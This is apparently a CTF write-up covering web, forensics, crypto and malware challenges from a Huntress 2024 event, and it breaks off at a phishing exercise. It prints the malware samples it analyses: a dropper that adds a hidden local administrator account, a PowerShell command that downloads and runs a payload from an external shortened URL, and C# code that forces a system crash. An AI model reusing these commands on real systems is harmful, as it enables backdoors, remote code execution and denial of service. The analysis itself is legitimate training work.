Celebrate Cybersecurity Awareness Month with Huntress
October 2, 12:00 PM ET - October 31, 11:59 PM ET
New challenges released every day!
This was a CTF that went on for the whole month of October, releasing on average 2 challenges a day. I mostly focused on Malware, Forensics, Web categories. Unfortuantely, I couldn’t participate as much as previous year.
Warmups
Whamazon
Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?
We get access to a browser game. We need to buy a flag but we only have $50 and a flag costs $100000.
We can buy negative items to add to our balance.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
888 888888 888 d8888888b d888 d88888888888888P .d88888b. 888b 888
888 o 888888 888 d888888888b d8888 d88888 d88P d88P" "Y88b8888b 888
888 d8b 888888 888 d88P88888888b.d88888 d88P888 d88P 888 88888888b 888
888 d888b 8888888888888 d88P 888888Y88888P888 d88P 888 d88P 888 888888Y88b 888
What's up, Whammy? What do you wanna do?
1. Examine your Inventory
2. Buy from Whamazon
3. Quit
> 2
Woohoo! We are where it's at: WHAMAZON!
What would you like to buy?
!! You have: 50 dollars in your wallet !!
1. Apples
2. Oranges
3. Video Games
4. Game Console
5. Television
6. House
7. The Flag
8. "Nothing, I want to leave"
> 2
The 'Oranges' item costs 2 dollars.
How many of the 'Oranges' items would you like ?
> -999999999999999999999
Crunching the numbers...
2 dollars x -999999999999999999999 = -1999999999999999999998 subtracted from your wallet!
!! You have: 2000000000000000000048 dollars in your wallet !!
We can now purchase the flag, but first, we need to play a game of rock-paper-scissors. After a few attempts, it becomes clear that ‘rock’ is never chosen, making it easy to win the game.
Finders Keepers
You gotta make sure the people who find stuff for you are rewarded well! Escalate your privileges and uncover the flag.txt in the finder user’s home directory.
We get access trough ssh
, we can’t do sudo
and running linpeas times out the box so we need to do some manual reconnaissance.
We see there is a finder
home folder, the permissions on /home/finder:
1
2
$ ls -al
drwxr-x--- 1 finder finder 4096 Oct 7 18:52 /home/finder
The permissions are drwxr-x---
: - d
: Directory. - rwx
(owner, finder): The owner has read, write, and execute permissions. - r-x
(group, finder): The group can read and execute. - ---
(others): No permissions for others, meaning the user has no access.
1
2
user@finders-fee-5632f4dcf78eb5b8-5bd9f469f8-6r9h2:/home$ cat /home/finder/flag.txt
cat: /home/finder/flag.txt: Permission denied
The permissions on /home/finder don’t allow you to directly access files (due to lack of execute permission for “others”), but we can use the find
command to read the contents of the flag.
The find
command is run as the user and has the necessary permissions to traverse the directory and execute the command on the found file. find
inherits the current user’s permissions and doesn’t require cat
to directly access the file, it’s all handled internally by find
.
1
2
$ find /home/finder -name flag.txt -exec cat {} \;
flag{5da1de289823cfc200adf91d6536d914}
This command works successfully and displays the contents of flag.txt as we use exec cat {} \;:
which executes the cat
command on every result it finds (in this case, the file flag.txt). The {}
is a placeholder for the file path found, and \;
ends the command.
Cryptography
No need for Brutus
A simple message for you to decipher: squiqhyiiycfbudeduutvehrhkjki Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}
Using an online ceaser cipher solver, we find the corresponding value caesarissimplenoneedforbrutus
after using a shift of 10. Afterwards you can use an MD5 hasher to get the flag: flag{c945bb2173e7da5a292527bbbc825d3f}
Forensics
Hidden Streams
Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams.
Can you find the secrets in these Sysmon logs?
We get a “Sysmon.evtx” file.
There are some system events that are especially interesting for doing forensics on system logs generated by sysmon
(source):
- Event ID 1 — Process Creation: Logs process creation, useful for identifying abnormal parent-child process relationships and suspicious process chains.
- Event ID 2 — File Creation Time Changed: Detects “time stomp” attacks where attackers modify file creation times to cover tracks.
- Event ID 3 — Network Connection: Tracks network connections, useful for detecting network anomalies despite potential noise.
- Event ID 4 — Sysmon Service State Changed: Monitors Sysmon service state changes, useful for detecting attempts to disable Sysmon.
- Event ID 5 — Process Terminated: Logs process terminations, helps detect critical process terminations or sacrificial processes.
- Event ID 6 — Driver Loaded: Tracks driver loading, potentially indicating “bring your own driver” (BYOD) attacks.
- Event ID 7 — Image Loaded: Tracks DLL loads, useful for identifying malicious DLL loading or DLL hijacking.
- Event ID 8 — CreateRemoteThread: Detects remote thread creation, useful for spotting code injections or rogue processes.
- Event ID 9 — RawAccessRead: Monitors raw disk read operations, useful for detecting unauthorized drive reading activities.
- Event ID 10 — Process Access: Logs process handle accesses, useful for detecting remote code injection or memory dumping.
- Event ID 11 — File Create: Logs file creation events, useful for identifying suspicious files and correlating file origins.
- Event ID 12 & 13 — Registry Events: Tracks registry object creation, deletion, and value changes. Critical for detecting registry-based attacks.
- Event ID 15 — File Create Stream Hash: Monitors file streams and external downloads, useful for tracking security-related file modifications.
- Event ID 16 — Sysmon Config State Changed: Detects Sysmon configuration changes, useful for identifying tampering attempts.
- Event ID 17 & 18 — Pipe Created/Connected: Monitors pipe creation and connection, useful for detecting interprocess communication and lateral movement tools like PsExec.
- Event ID 22 — DNS Event: Tracks DNS queries, useful for detecting DNS beaconing and suspicious DNS activity.
- Event ID 23 — File Delete: Monitors file deletions, useful for detecting malware cleanup or ransomware activity.
- Event ID 24 — Clipboard Changes: Monitors clipboard changes, potentially revealing sensitive data leaks or data theft attempts.
- Event ID 25 — Process Tampering (Process Image Change): Detects unusual process image changes, useful for spotting tampering or herpadering attempts.
As the sysmon file is about 70k lines long, we can export the file to JSON or csv for easier analysis and only include the above-mentioned event ids with the EvtxECmd tool of EricZimmerman.
1
C:\Users\flare\Desktop\Tools\Utilities\EvtxEvCMD\EvtxECmd.exe -f .\Sysmon.evtx --json Sysmon_export --inc 1-12,15-17,22-25
We now have an export that is a bit slimmed down, we search on Stream events (ID15) as is hinted in the title of the challenge and find this one containing the base64 encoded value of the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"PayloadData1": "ProcessID: 2460, ProcessGUID: b56ae52f-6533-66ce-be00-000000000900",
"PayloadData2": "RuleName: -",
"PayloadData3": "Image: C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe",
"PayloadData4": "TargetFilename: C:\\Temp:$5GMLW",
"PayloadData5": "Hash: SHA1=B1C3068058ADDF418D3E1418CD28414325B7A757,MD5=E754797031C6B367D0B6209092F34B3B,SHA256=F414CBA3A5D8C6EF18B1BE31F09C848447DDB37A5712E36EB7825E4E1EFAE868,IMPHASH=00000000000000000000000000000000",
"UserName": "WIN-UL3TI0T0LM6\\Administrator",
"MapDescription": "FileCreateStreamHash",
"ChunkNumber": 21,
"Computer": "WIN-UL3TI0T0LM6.test.local",
"Payload": "{\"EventData\":{\"Data\":[{\"@Name\":\"RuleName\",\"#text\":\"-\"},{\"@Name\":\"UtcTime\",\"#text\":\"2024-08-28 00:19:11.899\"},{\"@Name\":\"ProcessGuid\",\"#text\":\"b56ae52f-6533-66ce-be00-000000000900\"},{\"@Name\":\"ProcessId\",\"#text\":\"2460\"},{\"@Name\":\"Image\",\"#text\":\"C:\\\\Windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\PowerShell.exe\"},{\"@Name\":\"TargetFilename\",\"#text\":\"C:\\\\Temp:$5GMLW\"},{\"@Name\":\"CreationUtcTime\",\"#text\":\"2024-08-28 00:00:22.726\"},{\"@Name\":\"Hash\",\"#text\":\"SHA1=B1C3068058ADDF418D3E1418CD28414325B7A757,MD5=E754797031C6B367D0B6209092F34B3B,SHA256=F414CBA3A5D8C6EF18B1BE31F09C848447DDB37A5712E36EB7825E4E1EFAE868,IMPHASH=00000000000000000000000000000000\"},{\"@Name\":\"Contents\",\"#text\":\"ZmxhZ3tiZmVmYjg5MTE4MzAzMmY0NGZhOTNkMGM3YmQ0MGRhOX0= \"},{\"@Name\":\"User\",\"#text\":\"WIN-UL3TI0T0LM6\\\\Administrator\"}]}}",
"UserId": "S-1-5-18",
"Channel": "Microsoft-Windows-Sysmon/Operational",
"Provider": "Microsoft-Windows-Sysmon",
"EventId": 15,
"EventRecordId": "15107",
"ProcessId": 6968,
"ThreadId": 6552,
"Level": "Info",
"Keywords": "Classic",
"SourceFile": "C:\\Users\\flare\\Downloads\\challenge\\Sysmon.evtx",
"ExtraDataOffset": 0,
"HiddenRecord": false,
"TimeCreated": "2024-08-28T00:19:14.0335852+00:00",
"RecordNumber": 756
}
1
2
PS C:\Users\flare\Downloads\challenge> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZmxhZ3tiZmVmYjg5MTE4MzAzMmY0NGZhOTNkMGM3YmQ0MGRhOX0="))
flag{bfefb891183032f44fa93d0c7bd40da9}
Malware
StrangeCalc
I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run?? NOTE: Archive password is strange_calc
We get an archive, but when we try to extract the archive with the default windows extractor we get an error.
We need to open this archive with 7zip, then we get asked to input a password and can extract it.
We run the file
command and notice it’s UPX compressed
.
1
2
C:\Users\flare\Documents\CTF\Huntress\2024\calc>file calc.exe
calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
We unpack the exe file with upx -d
.
1
2
3
4
5
6
C:\Users\flare\Documents\CTF\Huntress\2024\calc>upx -d calc.exe
File size Ratio Format Name
-------------------- ------ ----------- -----------
432169 <- 206377 47.75% win32/pe calc.exe
Unpacked 1 file.
When opening the unpacked exe in pestudio, we notice this is compiled through AutoIt.
When we search online, we can find an extractor.
When saving the extracted code, we get AutoIt code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
; <AUT2EXE VERSION: 3.2.4.9>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
#NoTrayIcon
#region
#AutoIt3Wrapper_Change2CUI=y
#endregion
If Not IsAdmin() Then
MsgBox(16, "Error", "You must have administrator privileges.")
Exit
EndIf
Local $a = "I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA="
Local $b = x($a)
Local $c = r(4) & r(2) & r(3) & r(1) & ".jse"
Func r($aa)
Local $zz = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Local $s = ""
For $i = 1 To $aa
$s &= StringMid($zz, Random(1, StringLen($zz), 1), 1)
Next
Return $s
EndFunc ;==>r
Local $d = FileOpen($c, 2)
If $d = -1 Then
MsgBox(16, "Error", "Failed to open the calculator.")
Exit
EndIf
FileWrite($d, $b)
FileClose($d)
FileSetAttrib($c, "+H")
FileSetAttrib($c, "+S")
Func x($e)
Local $f = DllStructCreate("dword")
DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
"str", $e, _
"dword", StringLen($e), _
"dword", 1, _
"ptr", 0, _
"ptr", DllStructGetPtr($f), _
"ptr", 0, _
"ptr", 0)
Local $g = DllStructCreate("byte[" & DllStructGetData($f, 1) & "]")
DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
"str", $e, _
"dword", StringLen($e), _
"dword", 1, _
"ptr", DllStructGetPtr($g), _
"ptr", DllStructGetPtr($f), _
"ptr", 0, _
"ptr", 0)
Return BinaryToString(DllStructGetData($g, 1))
EndFunc ;==>x
$o = ObjCreate("MSScriptControl.ScriptControl")
$o.Language = "JScript"
$p = "new ActiveXObject('WScript.Shell').Run('wscript.exe " & $c & "',1,false);"
$o.ExecuteStatement($p)
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
Throwing that base64 value in cyberchef and then adding the “Microsoft Script Decoder” we get javascript code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
var c = "",
d = b.split("\n");
for (var e = 0; e < d.length; e++) {
var f = d[e].replace(/^\s+|\s+$/g, '');
if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
var g = (f.charCodeAt(0) - 32) & 63;
for (var h = 1; h < f.length; h += 4) {
if (h + 3 >= f.length) break;
var i = (f.charCodeAt(h) - 32) & 63,
j = (f.charCodeAt(h + 1) - 32) & 63,
k = (f.charCodeAt(h + 2) - 32) & 63,
l = (f.charCodeAt(h + 3) - 32) & 63;
c += String.fromCharCode((i << 2) | (j >> 4));
if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l)
}
}
return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('WScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
p.Run(o[q], 0, false)
}
p.Run(o[2], 1, false);
We add some loggin to see the values used in the script, it appears that variable c
contained the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function a(b) {
var c = "",
d = b.split("\n");
...
...
...
console.log(c);
return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
console.log(m)
console.log(n)
for (var q = 0; q < o.length - 1; q++) {
console.log(o[q], 0, false)
}
console.log(o[2], 1, false);
Console Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag{9922fb21aaf1757e3fdb28d7890a5d93}
begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
`
end
net user LocalAdministrator /add
0
false
net localgroup administrators LocalAdministrator /add
0
false
calc.exe
1
false
Russian Roulette
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :( WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash. NOTE: Archive password is russian_roulette
We get a powershell lnk
file that links to C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
When we base64 decode that value we get i.w.r. .i.s...g.d./.j.w.r.7.J.D. .-.o. .$.e.n.v.:.T.M.P./...c.m.d.;.&. .$.e.n.v.:.T.M.P./...c.m.d.
which is point seperated powershell code:
1
iwr isgd/jwr7JD -o $env:TMP/cmd;& $env:TMP/cmd
Now, let’s break this down:
iwr
refers toInvoke-WebRequest
, a PowerShell cmdlet used to download files from the internet.isgd/jwr7JD
should be a URL but it’s missing a point due to our search/replace in the previous step.-o $env:TMP/.cmd
is telling PowerShell to output the result of the web request to the temporary directory ($env:TMP), saving it as .cmd.& $env:TMP/.cmd
is the part that executes the downloaded script.
If we download the file from “is.gd/jwr7JD” we get a file called “powershell.zip” but upon inspection it mentions it being a UTF-16
file.
1
2
C:\Users\flare\Downloads>file powershell.zip
powershell.zip: Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
I tried a few convertors but those would not work:
1
2
3
$ iconv -f UTF-16LE -t UTF-8 ~/Downloads/powershell.zip -o output_russian_roulette2.txt
$ iconv -f UTF-16LE -t US-ASCII ~/Downloads/powershell.zip -o output_russian_roulette3.txt
iconv: illegal input sequence at position 0
When I looked at the content of the file it seems like it was normal text, so I removed the magic bytes that are associated with UTF-16
files (fffe
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ xxd ~/Downloads/powershell.zip
00000000: fffe 2663 6c73 0d0a 4065 6368 6f20 6f66 ..&cls..@echo of
00000010: 660d 0a73 6574 2075 6362 773d 7365 740d f..set ucbw=set.
00000020: 0a3a 3a20 d09f d183 d182 d0b5 d188 d0b5 .:: ............
00000030: d181 d182 d0b2 d0b8 d18f 20d0 b220 d0b2 .......... .. ..
00000040: d0be d0be d0b1 d180 d0b0 d0b6 d0b5 d0bd ................
00000050: d0b8 d0b8 2c20 d0ba d0b0 d0ba 20d0 b820 ...., ...... ..
$ hexeditor ~/Downloads/powershell.zip
$ xxd ~/Downloads/powershell2.zip
00000000: 0000 2663 6c73 0d0a 4065 6368 6f20 6f66 ..&cls..@echo of
00000010: 660d 0a73 6574 2075 6362 773d 7365 740d f..set ucbw=set.
00000020: 0a3a 3a20 d09f d183 d182 d0b5 d188 d0b5 .:: ............
00000030: d181 d182 d0b2 d0b8 d18f 20d0 b220 d0b2 .......... .. ..
00000040: d0be d0be d0b1 d180 d0b0 d0b6 d0b5 d0bd ................
00000050: d0b8 d0b8 2c20 d0ba d0b0 d0ba 20d0 b820 ...., ...... ..
This results in a obfuscated powershell script that contains russian text.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ file ~/Downloads/powershell2.zip
/home/kali/Downloads/powershell2.zip: data
─$ cat ~/Downloads/powershell2.zip
&cls
@echo off
set ucbw=set
:: Путешествия в воображении, как и путешествия в реальности, могут привести к удивительным открытиям и незабываемым встречам с персонажами, которые живут на грани воображаемого и реального.
%ucbw% qmy=
:: Песнь птиц, запутавшаяся в ветвях деревьев, как древний гимн жизни, разносится по лесу, наполняя его радостью и напоминая о том, что природа всегда была и будет в движении.
%ucbw%%qmy%jxaa==
...
...
...
There are a few steps to deobfuscate this script:
- Remove russian lines
- Enable Regular Expression search by clicking on the .* icon in the search bar.
- search for
^::.*\n
and replace with nothing. This regex matches any line that starts with::
and removes the entire line.
- Then we manually start to replace the variables in the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&cls
set ucbw=set
%ucbw% qmy=
%ucbw%%qmy%jxaa==
%ucbw%%qmy%ccdn%jxaa%/
%ucbw%%qmy%svmh%jxaa%a
%ucbw%%qmy%rfs%jxaa%c
%ucbw%%qmy%knec%jxaa%m
%ucbw%%qmy%bgr%jxaa%d
%ucbw%%qmy%zer%jxaa%e
%ucbw%%qmy%dzj%jxaa%x
%ucbw%%qmy%ozfl%jxaa%i
%ucbw%%qmy%mey%jxaa%t
%ucbw%%qmy%egsb%jxaa%
%ucbw%%qmy%%ccdn%%svmh%%qmy%rtoy%jxaa%9161456 %% 9161359
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%rtoy%
%ucbw%%qmy%ztq%jxaa%%=exitcodeAscii%
%ucbw%%qmy%%ccdn%%svmh%%qmy%ltjf%jxaa%7630868 %% 7630770
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%ltjf%
...
...
...
We end up with this partly desobfuscated script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&cls
set ucbw=set
%ucbw% qmy=
%ucbw%%qmy%jxaa==
%ucbw%%qmy%ccdn%jxaa%/
%ucbw%%qmy%svmh%jxaa%a
%ucbw%%qmy%rfs%jxaa%c
%ucbw%%qmy%knec%jxaa%m
%ucbw%%qmy%bgr%jxaa%d
%ucbw%%qmy%zer%jxaa%e
%ucbw%%qmy%dzj%jxaa%x
%ucbw%%qmy%ozfl%jxaa%i
%ucbw%%qmy%mey%jxaa%t
%ucbw%%qmy%egsb%jxaa%
%ucbw%%qmy%%ccdn%%svmh%%qmy%rtoy%jxaa%9161456 %% 9161359
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%rtoy%
%ucbw%%qmy%ztq%jxaa%%=exitcodeAscii%
%ucbw%%qmy%%ccdn%%svmh%%qmy%ltjf%jxaa%7630868 %% 7630770
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%ltjf%
...
...
...
It’s a huge file (310 lines) so we need to automate our obfuscation process. I remeber doing something similar previous year so I reused my script for it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import re
# Regular expression patterns
set_a_lines_pattern = r'^set /a (\w+) =(\d+) %% (\d+)'
cmd_lines_pattern = r'^cmd /c exit (\d+)'
set_line_with_exit_code_pattern = r'^set (\w+) =%=exitcodeAscii%'
# Function to calculate the modulo and store in variables_list
def calculate_modulo(match):
var_name, dividend, divisor = match.groups()
result = int(dividend) % int(divisor)
return var_name, result
# Initialize variables
variables_list = {}
prev_exit_code = 0
# Read the input file
with open('input', 'r') as input_file:
lines = input_file.readlines()
# Process each line
for line in lines:
set_a_match = re.match(set_a_lines_pattern, line)
set_line_exit_code_match = re.match(set_line_with_exit_code_pattern, line)
if set_a_match:
var_name, result = calculate_modulo(set_a_match)
variables_list[var_name] = result
prev_exit_code = result
if set_line_exit_code_match:
var_name = set_line_exit_code_match.group(1)
# Store the ASCII value
variables_list[var_name] = chr(prev_exit_code)
# Loop over every line and replace "% + variablename + %" with the value stored in the list
modified_lines = []
for line in lines:
for var_name, result in variables_list.items():
line = re.sub(fr'%{var_name}%', str(result), line)
if "set /a" in line:
# Extract the variable name from the line
var_name = re.search(r'^set /a (\w+)', line).group(1)
if var_name in variables_list:
# Replace the line with the new value
line = f'set /a {var_name} = {variables_list[var_name]}\n'
if "exitcodeAscii" in line:
# Extract the variable name from the line
var_name = re.search(r'^set (\w+) =%=exitcodeAscii%', line).group(1)
if var_name in variables_list:
# Replace the line with the new value
line = f'set {var_name} = {variables_list[var_name]}\n'
modified_lines.append(line)
print(f"{variables_list.items()}")
# Part 3 - Loop over the result and add spaces behind rem and set commands
final_modified_lines = []
for line in modified_lines:
if line.startswith("rem ") or line.startswith("set "):
line = line + ' '
final_modified_lines.append(line)
# Write the final modified content to a new file
with open('deobf_output', 'w') as output_file:
output_file.writelines(modified_lines)
This analysis leads us to a base64 encoded value in the PowerShell script that again decodes to a Powershell script that executes embedded C# code. Upon refining the C# code, we obtain the following implementation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Define the C# class as a string
$s = @'
using System;
using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.IO;
public class X {
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int privilege, bool enable, bool currentThread, out bool previousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint errorStatus, uint numberOfParameters, uint reserved, IntPtr errorParameter, uint responseOption, out uint exitCode);
public static unsafe string Shot() {
bool previousValue;
uint exitCode;
// Adjust privilege
RtlAdjustPrivilege(19, true, false, out previousValue);
// Raise hard error
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out exitCode);
// Base64 encoded encrypted data and parameters
byte[] cipherText = Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
byte[] key = Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
byte[] iv = Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");
using (Aes aes = Aes.Create()) {
aes.Key = key;
aes.IV = iv;
using (ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) {
using (var memoryStream = new MemoryStream(cipherText))
using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
using (var streamReader = new StreamReader(cryptoStream)) {
return streamReader.ReadToEnd();
}
}
}
}
}
'@
# Create Compiler Parameters
$c = New-Object System.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions = '/unsafe'
# Compile the C# code and create a type
$a = Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c
# Conditionally execute the Shot method
if ((Get-Random -Min 1 -Max 7) -eq 1) {
[X]::Shot()
}
# Start a new PowerShell process
Start-Process "powershell.exe"
Finally, we can simplify this C# code and print out the value returned from the Shot()
method and display the output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
public class Program
{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int privilege, bool enable, bool currentThread, out bool previousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint errorStatus, uint numberOfParameters, uint reserved, IntPtr errorParameter, uint responseOption, out uint exitCode);
public static string Shot()
{
// Base64 encoded encrypted data and parameters
byte[] cipherText = Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
byte[] key = Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
byte[] iv = Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");
using (Aes aes = Aes.Create())
{
aes.Key = key;
aes.IV = iv;
using (ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
using (var memoryStream = new MemoryStream(cipherText))
using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
using (var streamReader = new StreamReader(cryptoStream))
{
return streamReader.ReadToEnd();
}
}
}
}
public static void Main(string[] args)
{
string result = Shot();
Console.WriteLine(result);
Console.ReadLine();
}
}
flag{4e4f266d44717ff3af8bd92d292b79ec}
Ping me
We found this file in the autoruns of a host that seemed to have a lot of network activity… can you figure out what it was doing?
The obfuscated script has obfuscated char(ascii code)
we can use a script to decode it.
The deobfuscate result is
1
Dim sh, ips, i:Set sh = CreateObject("WScript.Shell"):ips = Array("102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98", "54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", "53.49.53.56", "57.125.35.35"):For i = 0 To UBound(ips): sh.Run "cmd /Q /c ping " & ips(i), 0, False:Next
We create Python script to convert each dot-separated number in the array into its corresponding ASCII character.
1
2
3
4
5
6
7
8
9
10
11
12
13
def convert_array_to_ascii(arr):
decoded_strings = []
for item in arr:
# Split the string by '.' and convert each number to its corresponding ASCII character
chars = [chr(int(num)) for num in item.split('.')]
decoded_strings.append(''.join(chars)) # Join characters into a string
return ''.join(decoded_strings) # Combine all the decoded strings into one
# The input array
input_array = ["102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98",
"54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100",
"53.49.53.56", "57.125.35.35"]
print(convert_array_to_ascii(input_array))
This gets us the flag: flag{6d1b604bb1b6da32b8bbca9e26d51589}##
Miscellaneous
Red Phish Blue Phish
You are to conduct a phishing excercise against our client, Pyrch Data. We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing. Are you able to successfully phish her? Remember your OSINT ;)
